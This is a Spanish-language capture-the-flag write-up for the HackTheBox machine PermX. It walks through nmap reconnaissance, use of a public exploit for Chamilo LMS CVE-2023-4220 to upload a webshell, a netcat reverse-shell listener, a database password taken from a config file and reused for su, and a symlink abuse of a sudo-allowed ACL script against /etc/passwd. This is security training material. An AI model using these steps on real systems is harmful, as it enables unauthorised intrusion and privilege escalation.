Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina PermX. Este resultado lo almacenaremos en un archivo llamado allPorts.
❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.23 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 19:45 CET
Initiating SYN Stealth Scan at 19:45
Scanning 10.10.11.23 [65535 ports]
Discovered open port 22/tcp on 10.10.11.23
Discovered open port 80/tcp on 10.10.11.23
Completed SYN Stealth Scan at 19:45, 21.83s elapsed (65535 total ports)
Nmap scan report for 10.10.11.23
Host is up, received user-set (0.064s latency).
Scanned at 2025-02-13 19:45:27 CET for 22s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 21.95 seconds
Raw packets sent: 69837 (3.073MB) | Rcvd: 69847 (2.794MB)
❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.23
[*] Open ports: 22,80
[*] Ports copied to clipboard
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Apache.
❯ nmap -sCV -p22,80 10.10.11.23 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 19:46 CET
Nmap scan report for permx.htb (10.10.11.23)
Host is up (0.065s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_ 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: eLEARNING
|_http-server-header: Apache/2.4.52 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 97.53 ms 10.10.16.1
2 52.52 ms permx.htb (10.10.11.23)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.87 seconds
Transformaremos el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Añadiremos la siguiente entrada en nuestro archivo /etc/hosts.
Al acceder a http://lmx.permx.htb, nos encontramos con un sitio web de Chamilo LMS. No logramos encontrar credenciales de defecto de la plataforma.
Chamilo LMS es una plataforma de e-learning libre, licenciada bajo la GNU/GPLv3, de gestiĂłn del aprendizaje presencial, semi-presencial o virtual, cuyo propĂłsito es mejorar la educaciĂłn y su acceso a ella a nivel mundial.
Al realizar una bĂşsqueda por Internet de posibles vulnerabilidades de esta versiĂłn, nos encontramos con el siguiente CVE-2023-4220.
Carga de archivos sin restricciones en la funcionalidad de carga de archivos grandes en /main/inc/lib/javascript/bigupload/inc/bigUpload.php en Chamilo LMS
❯ python3 main.py -u http://lms.permx.htb -a scan
[+] Target is likely vulnerable. Go ahead. [+]
Una vez localizado que el target es vulnerable, el siguiente paso será lograr subir una webshell al Chamilo LMS. Al ejecutar el exploit, se nos proporciona el acceso a la webshell.
❯ python3 main.py -u http://lms.permx.htb -a webshell
Enter the name of the webshell file that will be placed on the target server (default: webshell.php): gzzcoo.php
[+] Upload successfull [+]
Webshell URL: http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/gzzcoo.php?cmd=<command>
Realizamos la comprobaciĂłn para verificar si podemos llegar a ejecutar comandos. Probamos de ejecutar el comando whoami y obtuvimos el resultado esperado.
Volviendo a nuestra terminal, verificamos que hemos logrado obtener acceso al sistema como usuario www-data.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.23] 39420
bash: cannot set terminal process group (1174): Inappropriate ioctl for device
bash: no job control in this shell
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$
Initial Access
Information Leakage
Revisamos si disponemos de algĂşn privilegio o grupo que podamos intentar aprovecharnos para escalar privilegios o movernos lateralmente, pero no logramos obtener resultado positivo.
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ sudo -l
[sudo] password for www-data:
sudo: a password is required
Enumerando el directorio de /var/www/chamilo/app/config, realizamos una bĂşsqueda recursiva en todos los archivos para ver si habĂa algĂşn string con el valor password. Finalmente parece haber obtenido unas credenciales de la base de datos.
www-data@permx:/var/www/chamilo/app/config$ ls -l
total 268
-rwxr-xr-x 1 www-data www-data 265 Aug 31 2023 add_course.conf.dist.php
-rw-r--r-- 1 www-data www-data 265 Jan 20 2024 add_course.conf.php
-rwxr-xr-x 1 www-data www-data 15758 Aug 31 2023 assetic.yml
-rwxr-xr-x 1 www-data www-data 6502 Aug 31 2023 auth.conf.dist.php
-rw-r--r-- 1 www-data www-data 6502 Jan 20 2024 auth.conf.php
-rwxr-xr-x 1 www-data www-data 9381 Aug 31 2023 config.yml
-rwxr-xr-x 1 www-data www-data 1583 Aug 31 2023 config_dev.yml
-rwxr-xr-x 1 www-data www-data 622 Aug 31 2023 config_prod.yml
-rw-r--r-- 1 www-data www-data 127902 Jan 20 2024 configuration.php
-rwxr-xr-x 1 www-data www-data 176 Aug 31 2023 course_info.conf.dist.php
-rw-r--r-- 1 www-data www-data 176 Jan 20 2024 course_info.conf.php
-rwxr-xr-x 1 www-data www-data 3312 Aug 31 2023 events.conf.dist.php
-rw-r--r-- 1 www-data www-data 3312 Jan 20 2024 events.conf.php
drwxr-xr-x 2 www-data www-data 4096 Aug 31 2023 fos
-rwxr-xr-x 1 www-data www-data 2036 Aug 31 2023 ivory_ckeditor.yml
-rwxr-xr-x 1 www-data www-data 3396 Aug 31 2023 mail.conf.dist.php
-rw-r--r-- 1 www-data www-data 3396 Jan 20 2024 mail.conf.php
-rwxr-xr-x 1 www-data www-data 151 Aug 31 2023 migrations.yml
drwxr-xr-x 2 www-data www-data 4096 Aug 31 2023 mopa
-rwxr-xr-x 1 www-data www-data 1131 Aug 31 2023 parameters.yml.dist
-rwxr-xr-x 1 www-data www-data 1340 Aug 31 2023 profile.conf.dist.php
-rw-r--r-- 1 www-data www-data 1340 Jan 20 2024 profile.conf.php
-rwxr-xr-x 1 www-data www-data 2170 Aug 31 2023 routing.yml
-rwxr-xr-x 1 www-data www-data 561 Aug 31 2023 routing_admin.yml
-rwxr-xr-x 1 www-data www-data 594 Aug 31 2023 routing_dev.yml
-rwxr-xr-x 1 www-data www-data 2162 Aug 31 2023 routing_front.yml
-rwxr-xr-x 1 www-data www-data 2802 Aug 31 2023 security.yml
-rwxr-xr-x 1 www-data www-data 150 Aug 31 2023 services.yml
drwxr-xr-x 2 www-data www-data 4096 Aug 31 2023 sonata
www-data@permx:/var/www/chamilo/app/config$ grep -r password *
auth.conf.dist.php: //admin password
auth.conf.dist.php: 'admin_password' => 'pass',
auth.conf.dist.php: 'password' => 'userPassword',
auth.conf.dist.php:$langMainInfoDetail = '<p>OpenID is a secure way to use one user ID and password to log in to many web sites without special software, giving the same password to each site, or losing control over which information is shared with each site that you visit.</p>';
auth.conf.php: //admin password
auth.conf.php: 'admin_password' => 'pass',
auth.conf.php: 'password' => 'userPassword',
auth.conf.php:$langMainInfoDetail = '<p>OpenID is a secure way to use one user ID and password to log in to many web sites without special software, giving the same password to each site, or losing control over which information is shared with each site that you visit.</p>';
config.yml: password: "%database_password%"
config.yml: password: "%mailer_password%"
configuration.php:$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
De los usuarios que disponen bash que enumeramos en /etc/passwd, probamos de autenticarnos con el usuario mtz y las credenciales obtenidas anteriormente y logramos el acceso.
Visualizamos finalmente la flag de user.txt.
www-data@permx:/var/www/chamilo/app/config$ su mtz
Password:
mtz@permx:/var/www/chamilo/app/config$ cat /home/mtz/user.txt
a0fcaa21eec2*************************
Privilege Escalation
Abusing sudoers privilege
Revisamos los grupos a los que forma parte el usuario mtz, no obtenemos resultado relevante. Comprobando los permisos de sudoers, verificamos que podemos ejecutar como sudo el script que se encuentra en /opt/acl.sh.
mtz@permx:/var/www/chamilo/app/config$ id
uid=1000(mtz) gid=1000(mtz) groups=1000(mtz)
mtz@permx:/var/www/chamilo/app/config$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
El script intenta restringir el acceso solo a archivos dentro de /home/mtz/, pero la validaciĂłn es defectuosa:
Solo verifica que $target empiece con /home/mtz/, pero no bloquea correctamente rutas absolutas o enlaces simbĂłlicos.
El check "$target" == *..* no es suficiente para prevenir Path Traversal.
Si podemos ejecutar este script como sudo, podemos modificar permisos de cualquier archivo arbitrario fuera de /home/mtz/.
mtz@permx:/var/www/chamilo/app/config$ cat /opt/acl.sh
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
Verificamos el uso del script, en el cual se debe indicar el usuario que se le otorgarán los permisos, el tipo de permisos y el archivo.
mtz@permx:~$ sudo /opt/acl.sh
Usage: /opt/acl.sh user perm file
Creamos un enlace simbĂłlico apuntando a /etc/passwd. Usamos el script vulnerable para modificar los permisos ACL de /etc/passwd, otorgándonos control total. Verificamos que tenemos permisos de escritura sobre el archivo indicado, con lo cual podrĂamos llegar a editar el /etc/passwd y añadir una nueva entrada de un nuevo usuario root.